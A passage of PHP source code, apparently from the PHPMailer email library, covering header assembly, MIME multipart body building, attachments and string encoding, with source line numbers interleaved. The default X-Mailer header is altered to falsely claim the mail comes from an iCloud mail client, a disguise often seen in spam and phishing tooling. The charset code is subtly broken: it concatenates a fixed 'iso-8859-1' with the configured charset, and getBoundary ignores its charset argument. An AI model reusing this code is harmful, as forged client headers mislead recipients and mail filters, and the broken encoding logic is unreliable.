    /**
1819
     * Apply word wrapping to the message body.
1820
     * Wraps the message body to the number of chars set in the WordWrap property.
1821
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
1822
     * This is called automatically by createBody(), so you don't need to call it yourself.
1823
     * @access public
1824
     * @return void
1825
     */
1826
    public function setWordWrap()
1827
    {
1828
        if ($this->WordWrap < 1) {
1829
            return;
1830
        }
1831
        switch ($this->message_type) {
1832
            case 'alt':
1833
            case 'alt_inline':
1834
            case 'alt_attach':
1835
            case 'alt_inline_attach':
1836
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
1837
                break;
1838
            default:
1839
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
1840
                break;
1841
        }
1842
    }
1843
    /**
1844
     * Assemble message headers.
1845
     * @access public
1846
     * @return string The assembled headers
1847
     */
1848
    public function createHeader()
1849
    {
1850
        $result = '';
1851
        if ($this->MessageDate == '') {
1852
            $this->MessageDate = self::rfcDate();
1853
        }
1854
        $result .= $this->headerLine('Date', $this->MessageDate);
1855
        // To be created automatically by mail()
1856
        if ($this->SingleTo) {
1857
            if ($this->Mailer != 'mail') {
1858
                foreach ($this->to as $toaddr) {
1859
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
1860
                }
1861
            }
1862
        } else {
1863
            if (count($this->to) > 0) {
1864
                if ($this->Mailer != 'mail') {
1865
                    $result .= $this->addrAppend('To', $this->to);
1866
                }
1867
            } elseif (count($this->cc) == 0) {
1868
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
1869
            }
1870
        }
1871
        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
1872
        // sendmail and mail() extract Cc from the header before sending
1873
        if (count($this->cc) > 0) {
1874
            $result .= $this->addrAppend('Cc', $this->cc);
1875
        }
1876
        // sendmail and mail() extract Bcc from the header before sending
1877
        if ((
1878
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
1879
            )
1880
            and count($this->bcc) > 0
1881
        ) {
1882
            $result .= $this->addrAppend('Bcc', $this->bcc);
1883
        }
1884
        if (count($this->ReplyTo) > 0) {
1885
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
1886
        }
1887
        // mail() sets the subject itself
1888
        if ($this->Mailer != 'mail') {
1889
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
1890
        }
1891
        if ($this->MessageID != '') {
1892
            $this->lastMessageID = $this->MessageID;
1893
        } else {
1894
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
1895
        }
1896
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
1897
        if (!is_null($this->Priority)) {
1898
            $result .= $this->headerLine('X-Priority', $this->Priority);
1899
        }
1900
        if ($this->XMailer == '') {
1901
            $result .= $this->headerLine(
1902
                'X-Mailer',
1903
                'iCloud MailClient16HHotfix3 MailServer16H91.25712-16A-1566-de436d2ed559'
1904
            );
1905
        } else {
1906
            $myXmailer = trim($this->XMailer);
1907
            if ($myXmailer) {
1908
                $result .= $this->headerLine('X-Mailer', $myXmailer);
1909
            }
1910
        }
1911
        if ($this->ConfirmReadingTo != '') {
1912
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
1913
        }
1914
        // Add custom headers
1915
        foreach ($this->CustomHeader as $header) {
1916
            $result .= $this->headerLine(
1917
                trim($header[0]),
1918
                $this->encodeHeader(trim($header[1]))
1919
            );
1920
        }
1921
        if (!$this->sign_key_file) {
1922
            $result .= $this->headerLine('MIME-Version', '1.0');
1923
            $result .= $this->getMailMIME();
1924
        }
1925
        return $result;
1926
    }
1927
    /**
1928
     * Get the message MIME type headers.
1929
     * @access public
1930
     * @return string
1931
     */
1932
    public function getMailMIME()
1933
    {
1934
        $result = '';
1935
        $ismultipart = true;
1936
        switch ($this->message_type) {
1937
            case 'inline':
1938
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
1939
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
1940
                break;
1941
            case 'attach':
1942
            case 'inline_attach':
1943
            case 'alt_attach':
1944
            case 'alt_inline_attach':
1945
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
1946
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
1947
                break;
1948
            case 'alt':
1949
            case 'alt_inline':
1950
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
1951
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
1952
                break;
1953
            default:
1954
                // Catches case 'plain': and case '':
1955
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=iso-8859-1' . $this->CharSet);
1956
                $ismultipart = false;
1957
                break;
1958
        }
1959
        // RFC1341 part 5 says 7bit is assumed if not specified
1960
        if ($this->Encoding != '7bit') {
1961
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
1962
            if ($ismultipart) {
1963
                if ($this->Encoding == '8bit') {
1964
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
1965
                }
1966
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
1967
            } else {
1968
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
1969
            }
1970
        }
1971
        if ($this->Mailer != 'mail') {
1972
            $result .= $this->LE;
1973
        }
1974
        return $result;
1975
    }
1976
    /**
1977
     * Returns the whole MIME message.
1978
     * Includes complete headers and body.
1979
     * Only valid post preSend().
1980
     * @see PHPMailer::preSend()
1981
     * @access public
1982
     * @return string
1983
     */
1984
    public function getSentMIMEMessage()
1985
    {
1986
        return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
1987
    }
1988
    /**
1989
     * Assemble the message body.
1990
     * Returns an empty string on failure.
1991
     * @access public
1992
     * @throws phpmailerException
1993
     * @return string The assembled message body
1994
     */
1995
    public function createBody()
1996
    {
1997
        $body = '';
1998
        //Create unique IDs and preset boundaries
1999
        $this->uniqueid = md5(uniqid(time()));
2000
        $this->boundary[1] = 'b1_' . $this->uniqueid;
2001
        $this->boundary[2] = 'b2_' . $this->uniqueid;
2002
        $this->boundary[3] = 'b3_' . $this->uniqueid;
2003
        if ($this->sign_key_file) {
2004
            $body .= $this->getMailMIME() . $this->LE;
2005
        }
2006
        $this->setWordWrap();
2007
        $bodyEncoding = $this->Encoding;
2008
        $bodyCharSet = $this->CharSet;
2009
        //Can we do a 7-bit downgrade?
2010
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
2011
            $bodyEncoding = '7bit';
2012
            $bodyCharSet = 'us-ascii';
2013
        }
2014
        //If lines are too long, and we're not already using an encoding that will shorten them,
2015
        //change to quoted-printable transfer encoding
2016
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
2017
            $this->Encoding = 'quoted-printable';
2018
            $bodyEncoding = 'quoted-printable';
2019
        }
2020
        $altBodyEncoding = $this->Encoding;
2021
        $altBodyCharSet = $this->CharSet;
2022
        //Can we do a 7-bit downgrade?
2023
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
2024
            $altBodyEncoding = '7bit';
2025
            $altBodyCharSet = 'us-ascii';
2026
        }
2027
        //If lines are too long, and we're not already using an encoding that will shorten them,
2028
        //change to quoted-printable transfer encoding
2029
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
2030
            $altBodyEncoding = 'quoted-printable';
2031
        }
2032
        //Use this as a preamble in all multipart message types
2033
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
2034
        switch ($this->message_type) {
2035
            case 'inline':
2036
                $body .= $mimepre;
2037
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2038
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2039
                $body .= $this->LE . $this->LE;
2040
                $body .= $this->attachAll('inline', $this->boundary[1]);
2041
                break;
2042
            case 'attach':
2043
                $body .= $mimepre;
2044
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2045
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2046
                $body .= $this->LE . $this->LE;
2047
                $body .= $this->attachAll('attachment', $this->boundary[1]);
2048
                break;
2049
            case 'inline_attach':
2050
                $body .= $mimepre;
2051
                $body .= $this->textLine('--' . $this->boundary[1]);
2052
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
2053
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2054
                $body .= $this->LE;
2055
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
2056
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2057
                $body .= $this->LE . $this->LE;
2058
                $body .= $this->attachAll('inline', $this->boundary[2]);
2059
                $body .= $this->LE;
2060
                $body .= $this->attachAll('attachment', $this->boundary[1]);
2061
                break;
2062
            case 'alt':
2063
                $body .= $mimepre;
2064
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2065
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2066
                $body .= $this->LE . $this->LE;
2067
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
2068
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2069
                $body .= $this->LE . $this->LE;
2070
                if (!empty($this->Ical)) {
2071
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
2072
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
2073
                    $body .= $this->LE . $this->LE;
2074
                }
2075
                $body .= $this->endBoundary($this->boundary[1]);
2076
                break;
2077
            case 'alt_inline':
2078
                $body .= $mimepre;
2079
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2080
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2081
                $body .= $this->LE . $this->LE;
2082
                $body .= $this->textLine('--' . $this->boundary[1]);
2083
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
2084
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2085
                $body .= $this->LE;
2086
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2087
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2088
                $body .= $this->LE . $this->LE;
2089
                $body .= $this->attachAll('inline', $this->boundary[2]);
2090
                $body .= $this->LE;
2091
                $body .= $this->endBoundary($this->boundary[1]);
2092
                break;
2093
            case 'alt_attach':
2094
                $body .= $mimepre;
2095
                $body .= $this->textLine('--' . $this->boundary[1]);
2096
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2097
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2098
                $body .= $this->LE;
2099
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2100
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2101
                $body .= $this->LE . $this->LE;
2102
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2103
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2104
                $body .= $this->LE . $this->LE;
2105
                $body .= $this->endBoundary($this->boundary[2]);
2106
                $body .= $this->LE;
2107
                $body .= $this->attachAll('attachment', $this->boundary[1]);
2108
                break;
2109
            case 'alt_inline_attach':
2110
                $body .= $mimepre;
2111
                $body .= $this->textLine('--' . $this->boundary[1]);
2112
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2113
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2114
                $body .= $this->LE;
2115
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2116
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2117
                $body .= $this->LE . $this->LE;
2118
                $body .= $this->textLine('--' . $this->boundary[2]);
2119
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
2120
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
2121
                $body .= $this->LE;
2122
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
2123
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2124
                $body .= $this->LE . $this->LE;
2125
                $body .= $this->attachAll('inline', $this->boundary[3]);
2126
                $body .= $this->LE;
2127
                $body .= $this->endBoundary($this->boundary[2]);
2128
                $body .= $this->LE;
2129
                $body .= $this->attachAll('attachment', $this->boundary[1]);
2130
                break;
2131
            default:
2132
                // catch case 'plain' and case ''
2133
                $body .= $this->encodeString($this->Body, $bodyEncoding);
2134
                break;
2135
        }
2136
        if ($this->isError()) {
2137
            $body = '';
2138
        } elseif ($this->sign_key_file) {
2139
            try {
2140
                if (!defined('PKCS7_TEXT')) {
2141
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
2142
                }
2143
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
2144
                $file = tempnam(sys_get_temp_dir(), 'mail');
2145
                if (false === file_put_contents($file, $body)) {
2146
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
2147
                }
2148
                $signed = tempnam(sys_get_temp_dir(), 'signed');
2149
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
2150
                if (empty($this->sign_extracerts_file)) {
2151
                    $sign = @openssl_pkcs7_sign(
2152
                        $file,
2153
                        $signed,
2154
                        'file://' . realpath($this->sign_cert_file),
2155
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2156
                        null
2157
                    );
2158
                } else {
2159
                    $sign = @openssl_pkcs7_sign(
2160
                        $file,
2161
                        $signed,
2162
                        'file://' . realpath($this->sign_cert_file),
2163
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2164
                        null,
2165
                        PKCS7_DETACHED,
2166
                        $this->sign_extracerts_file
2167
                    );
2168
                }
2169
                if ($sign) {
2170
                    @unlink($file);
2171
                    $body = file_get_contents($signed);
2172
                    @unlink($signed);
2173
                    //The message returned by openssl contains both headers and body, so need to split them up
2174
                    $parts = explode("\n\n", $body, 2);
2175
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
2176
                    $body = $parts[1];
2177
                } else {
2178
                    @unlink($file);
2179
                    @unlink($signed);
2180
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
2181
                }
2182
            } catch (phpmailerException $exc) {
2183
                $body = '';
2184
                if ($this->exceptions) {
2185
                    throw $exc;
2186
                }
2187
            }
2188
        }
2189
        return $body;
2190
    }
2191
    /**
2192
     * Return the start of a message boundary.
2193
     * @access protected
2194
     * @param string $boundary
2195
     * @param string $charSet
2196
     * @param string $contentType
2197
     * @param string $encoding
2198
     * @return string
2199
     */
2200
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
2201
    {
2202
        $result = '';
2203
        if ($charSet == '') {
2204
            $charSet = $this->CharSet;
2205
        }
2206
        if ($contentType == '') {
2207
            $contentType = $this->ContentType;
2208
        }
2209
        if ($encoding == '') {
2210
            $encoding = $this->Encoding;
2211
        }
2212
        $result .= $this->textLine('--' . $boundary);
2213
        $result .= sprintf('Content-Type: %s; charset=iso-8859-1', $contentType, $charSet);
2214
        $result .= $this->LE;
2215
        // RFC1341 part 5 says 7bit is assumed if not specified
2216
        if ($encoding != '7bit') {
2217
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
2218
        }
2219
        $result .= $this->LE;
2220
        return $result;
2221
    }
2222
    /**
2223
     * Return the end of a message boundary.
2224
     * @access protected
2225
     * @param string $boundary
2226
     * @return string
2227
     */
2228
    protected function endBoundary($boundary)
2229
    {
2230
        return $this->LE . '--' . $boundary . '--' . $this->LE;
2231
    }
2232
    /**
2233
     * Set the message type.
2234
     * PHPMailer only supports some preset message types,
2235
     * not arbitrary MIME structures.
2236
     * @access protected
2237
     * @return void
2238
     */
2239
    protected function setMessageType()
2240
    {
2241
        $type = array();
2242
        if ($this->alternativeExists()) {
2243
            $type[] = 'alt';
2244
        }
2245
        if ($this->inlineImageExists()) {
2246
            $type[] = 'inline';
2247
        }
2248
        if ($this->attachmentExists()) {
2249
            $type[] = 'attach';
2250
        }
2251
        $this->message_type = implode('_', $type);
2252
        if ($this->message_type == '') {
2253
            $this->message_type = 'plain';
2254
        }
2255
    }
2256
    /**
2257
     * Format a header line.
2258
     * @access public
2259
     * @param string $name
2260
     * @param string $value
2261
     * @return string
2262
     */
2263
    public function headerLine($name, $value)
2264
    {
2265
        return $name . ': ' . $value . $this->LE;
2266
    }
2267
    /**
2268
     * Return a formatted mail line.
2269
     * @access public
2270
     * @param string $value
2271
     * @return string
2272
     */
2273
    public function textLine($value)
2274
    {
2275
        return $value . $this->LE;
2276
    }
2277
    /**
2278
     * Add an attachment from a path on the filesystem.
2279
     * Returns false if the file could not be found or read.
2280
     * @param string $path Path to the attachment.
2281
     * @param string $name Overrides the attachment name.
2282
     * @param string $encoding File encoding (see $Encoding).
2283
     * @param string $type File extension (MIME) type.
2284
     * @param string $disposition Disposition to use
2285
     * @throws phpmailerException
2286
     * @return boolean
2287
     */
2288
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
2289
    {
2290
        try {
2291
            if (!@is_file($path)) {
2292
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
2293
            }
2294
            // If a MIME type is not specified, try to work it out from the file name
2295
            if ($type == '') {
2296
                $type = self::filenameToType($path);
2297
            }
2298
            $filename = basename($path);
2299
            if ($name == '') {
2300
                $name = $filename;
2301
            }
2302
            $this->attachment[] = array(
2303
                0 => $path,
2304
                1 => $filename,
2305
                2 => $name,
2306
                3 => $encoding,
2307
                4 => $type,
2308
                5 => false, // isStringAttachment
2309
                6 => $disposition,
2310
                7 => 0
2311
            );
2312
        } catch (phpmailerException $exc) {
2313
            $this->setError($exc->getMessage());
2314
            $this->edebug($exc->getMessage());
2315
            if ($this->exceptions) {
2316
                throw $exc;
2317
            }
2318
            return false;
2319
        }
2320
        return true;
2321
    }
2322
    /**
2323
     * Return the array of attachments.
2324
     * @return array
2325
     */
2326
    public function getAttachments()
2327
    {
2328
        return $this->attachment;
2329
    }
2330
    /**
2331
     * Attach all file, string, and binary attachments to the message.
2332
     * Returns an empty string on failure.
2333
     * @access protected
2334
     * @param string $disposition_type
2335
     * @param string $boundary
2336
     * @return string
2337
     */
2338
    protected function attachAll($disposition_type, $boundary)
2339
    {
2340
        // Return text of body
2341
        $mime = array();
2342
        $cidUniq = array();
2343
        $incl = array();
2344
        // Add all attachments
2345
        foreach ($this->attachment as $attachment) {
2346
            // Check if it is a valid disposition_filter
2347
            if ($attachment[6] == $disposition_type) {
2348
                // Check for string attachment
2349
                $string = '';
2350
                $path = '';
2351
                $bString = $attachment[5];
2352
                if ($bString) {
2353
                    $string = $attachment[0];
2354
                } else {
2355
                    $path = $attachment[0];
2356
                }
2357
                $inclhash = md5(serialize($attachment));
2358
                if (in_array($inclhash, $incl)) {
2359
                    continue;
2360
                }
2361
                $incl[] = $inclhash;
2362
                $name = $attachment[2];
2363
                $encoding = $attachment[3];
2364
                $type = $attachment[4];
2365
                $disposition = $attachment[6];
2366
                $cid = $attachment[7];
2367
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
2368
                    continue;
2369
                }
2370
                $cidUniq[$cid] = true;
2371
                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
2372
                //Only include a filename property if we have one
2373
                if (!empty($name)) {
2374
                    $mime[] = sprintf(
2375
                        'Content-Type: %s; name="%s"%s',
2376
                        $type,
2377
                        $this->encodeHeader($this->secureHeader($name)),
2378
                        $this->LE
2379
                    );
2380
                } else {
2381
                    $mime[] = sprintf(
2382
                        'Content-Type: %s%s',
2383
                        $type,
2384
                        $this->LE
2385
                    );
2386
                }
2387
                // RFC1341 part 5 says 7bit is assumed if not specified
2388
                if ($encoding != '7bit') {
2389
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
2390
                }
2391
                if ($disposition == 'inline') {
2392
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
2393
                }
2394
                // If a filename contains any of these chars, it should be quoted,
2395
                // but not otherwise: RFC2183 & RFC2045 5.1
2396
                // Fixes a warning in IETF's msglint MIME checker
2397
                // Allow for bypassing the Content-Disposition header totally
2398
                if (!(empty($disposition))) {
2399
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
2400
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
2401
                        $mime[] = sprintf(
2402
                            'Content-Disposition: %s; filename="%s"%s',
2403
                            $disposition,
2404
                            $encoded_name,
2405
                            $this->LE . $this->LE
2406
                        );
2407
                    } else {
2408
                        if (!empty($encoded_name)) {
2409
                            $mime[] = sprintf(
2410
                                'Content-Disposition: %s; filename=%s%s',
2411
                                $disposition,
2412
                                $encoded_name,
2413
                                $this->LE . $this->LE
2414
                            );
2415
                        } else {
2416
                            $mime[] = sprintf(
2417
                                'Content-Disposition: %s%s',
2418
                                $disposition,
2419
                                $this->LE . $this->LE
2420
                            );
2421
                        }
2422
                    }
2423
                } else {
2424
                    $mime[] = $this->LE;
2425
                }
2426
                // Encode as string attachment
2427
                if ($bString) {
2428
                    $mime[] = $this->encodeString($string, $encoding);
2429
                    if ($this->isError()) {
2430
                        return '';
2431
                    }
2432
                    $mime[] = $this->LE . $this->LE;
2433
                } else {
2434
                    $mime[] = $this->encodeFile($path, $encoding);
2435
                    if ($this->isError()) {
2436
                        return '';
2437
                    }
2438
                    $mime[] = $this->LE . $this->LE;
2439
                }
2440
            }
2441
        }
2442
        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
2443
        return implode('', $mime);
2444
    }
2445
    /**
2446
     * Encode a file attachment in requested format.
2447
     * Returns an empty string on failure.
2448
     * @param string $path The full path to the file
2449
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2450
     * @throws phpmailerException
2451
     * @access protected
2452
     * @return string
2453
     */
2454
    protected function encodeFile($path, $encoding = 'base64')
2455
    {
2456
        try {
2457
            if (!is_readable($path)) {
2458
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
2459
            }
2460
            $magic_quotes = get_magic_quotes_runtime();
2461
            if ($magic_quotes) {
2462
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2463
                    set_magic_quotes_runtime(false);
2464
                } else {
2465
                    //Doesn't exist in PHP 5.4, but we don't need to check because
2466
                    //get_magic_quotes_runtime always returns false in 5.4+
2467
                    //so it will never get here
2468
                    ini_set('magic_quotes_runtime', false);
2469
                }
2470
            }
2471
            $file_buffer = file_get_contents($path);
2472
            $file_buffer = $this->encodeString($file_buffer, $encoding);
2473
            if ($magic_quotes) {
2474
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2475
                    set_magic_quotes_runtime($magic_quotes);
2476
                } else {
2477
                    ini_set('magic_quotes_runtime', $magic_quotes);
2478
                }
2479
            }
2480
            return $file_buffer;
2481
        } catch (Exception $exc) {
2482
            $this->setError($exc->getMessage());
2483
            return '';
2484
        }
2485
    }
2486
    /**
2487
     * Encode a string in requested format.
2488
     * Returns an empty string on failure.
2489
     * @param string $str The text to encode
2490
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2491
     * @access public
2492
     * @return string
2493
     */
2494
    public function encodeString($str, $encoding = 'base64')
2495
    {
2496
        $encoded = '';
2497
        switch (strtolower($encoding)) {
2498
            case 'base64':
2499
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2500
                break;
2501
            case '7bit':
2502
            case '8bit':
2503
                $encoded = $this->fixEOL($str);
2504
                // Make sure it ends with a line break
2505
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
2506
                    $encoded .= $this->LE;
2507
                }
2508
                break;
2509
            case 'binary':
2510
                $encoded = $str;
2511
                break;
2512
            case 'quoted-printable':
2513
                $encoded = $this->encodeQP($str);
2514
                break;
2515
            default:
2516
                $this->setError($this->lang('encoding') . $encoding);
2517
                break;
2518
        }
2519
        return $encoded;
2520
    }
2521
    /**
2522
     * Encode a header string optimally.
2523
     * Picks shortest of Q, B, quoted-printable or none.
2524
     * @access public
2525
     * @param string $str
2526
     * @param string $position
2527
     * @return string
2528
     */
2529
    public function encodeHeader($str, $position = 'text')
2530
    {
2531
        $matchcount = 0;
2532
        switch (strtolower($position)) {
2533
            case 'phrase':
2534
                if (!preg_match('/[\200-\377]/', $str)) {
2535
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
2536
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
2537
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2538
                        return ($encoded);
2539
                    } else {
2540
                        return ("\"$encoded\"");
2541
                    }
2542
                }
2543
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2544
                break;
2545
            /** @noinspection PhpMissingBreakStatementInspection */
2546
            case 'comment':
2547
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
2548
                // Intentional fall-through
2549
            case 'text':
2550
            default:
2551
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2552
                break;
2553
        }
2554
        //There are no chars that need encoding
2555
        if ($matchcount == 0) {
2556
            return ($str);
2557
        }
2558
        $maxlen = 75 - 7 - strlen($this->CharSet);
2559
        // Try to select the encoding which should produce the shortest output
2560
        if ($matchcount > strlen($str) / 3) {
2561
            // More than a third of the content will need encoding, so B encoding will be most efficient
2562
            $encoding = 'B';
2563
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
2564
                // Use a custom function which correctly encodes and wraps long
2565
                // multibyte strings without breaking lines within a character
2566
                $encoded = $this->base64EncodeWrapMB($str, "\n");
2567
            } else {
2568
                $encoded = base64_encode($str);
2569
                $maxlen -= $maxlen % 4;
2570
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2571
            }
2572
        } else {
2573
            $encoding = 'Q';
2574
            $encoded = $this->encodeQ($str, $position);
2575
            $encoded = $this->wrapText($encoded, $maxlen, true);
2576
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
2577
        }
2578
        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
2579
        $encoded = trim(str_replace("\n", $this->LE, $encoded));
2580
        return $encoded;
2581
    }
2582
    /**
2583
     * Check if a string contains multi-byte characters.
2584
     * @access public
2585
     * @param string $str multi-byte text to wrap encode
2586
     * @return boolean
2587
     */
2588
    public function hasMultiBytes($str)
2589
    {
2590
        if (function_exists('mb_strlen')) {
2591
            return (strlen($str) > mb_strlen($str, $this->CharSet));
2592
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2593
            return false;
2594
        }
2595
    }
2596
    /**
2597
     * Does a string contain any 8-bit chars (in any charset)?
2598
     * @param string $text
2599
     * @return boolean
2600
     */
2601
    public function has8bitChars($text)
2602
    {
2603
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
2604
    }
2605
    /**
2606
     * Encode and wrap long multibyte strings for mail headers
2607
     * without breaking lines within a character.
2608
     * Adapted from a function by paravoid
2609
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
2610
     * @access public
2611
     * @param string $str multi-byte text to wrap encode
2612
     * @param string $linebreak string to use as linefeed/end-of-line
2613
     * @return string
2614
     */
2615
    public function base64EncodeWrapMB($str, $linebreak = null)
2616
    {
2617
        $start = '=?' . $this->CharSet . '?B?';
2618
        $end = '?=';
2619
        $encoded = '';
2620
        if ($linebreak === null) {
2621
            $linebreak = $this->LE;
2622
        }
2623
        $mb_length = mb_strlen($str, $this->CharSet);
2624
        // Each line must have length <= 75, including $start and $end
2625
        $length = 75 - strlen($start) - strlen($end);
2626
        // Average multi-byte ratio
2627
        $ratio = $mb_length / strlen($str);
2628
        // Base64 has a 4:3 ratio
2629
        $avgLength = floor($length * $ratio * .75);
2630
        for ($i = 0; $i < $mb_length; $i += $offset) {
2631
            $lookBack = 0;
2632
            do {
2633
                $offset = $avgLength - $lookBack;
2634
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2635
                $chunk = base64_encode($chunk);
2636
                $lookBack++;
2637
            } while (strlen($chunk) > $length);
2638
            $encoded .= $chunk . $linebreak;
2639
        }
2640
        // Chomp the last linefeed
2641
        $encoded = substr($encoded, 0, -strlen($linebreak));
2642
        return $encoded;
2643
    }
2644
    /**
2645
     * Encode a string in quoted-printable format.
2646
     * According to RFC2045 section 6.7.
2647
     * @access public
2648
     * @param string $string The text to encode
2649
     * @param integer $line_max Number of chars allowed on a line before wrapping
2650
     * @return string
2651
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
2652
     */
2653
    public function encodeQP($string, $line_max = 76)
2654
    {
2655
        // Use native function if it's available (>= PHP5.3)
2656
        if (function_exists('quoted_printable_encode')) {
2657
            return quoted_printable_encode($string);
2658
        }
2659
        // Fall back to a pure PHP implementation
2660
        $string = str_replace(
2661
            array('%20', '%0D%0A.', '%0D%0A', '%'),
2662
            array(' ', "\r\n=2E", "\r\n", '='),
2663
            rawurlencode($string)
2664
        );
2665
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
2666
    }
2667
    /**
2668
     * Backward compatibility wrapper for an old QP encoding function that was removed.
2669
     * @see PHPMailer::encodeQP()
2670
     * @access public
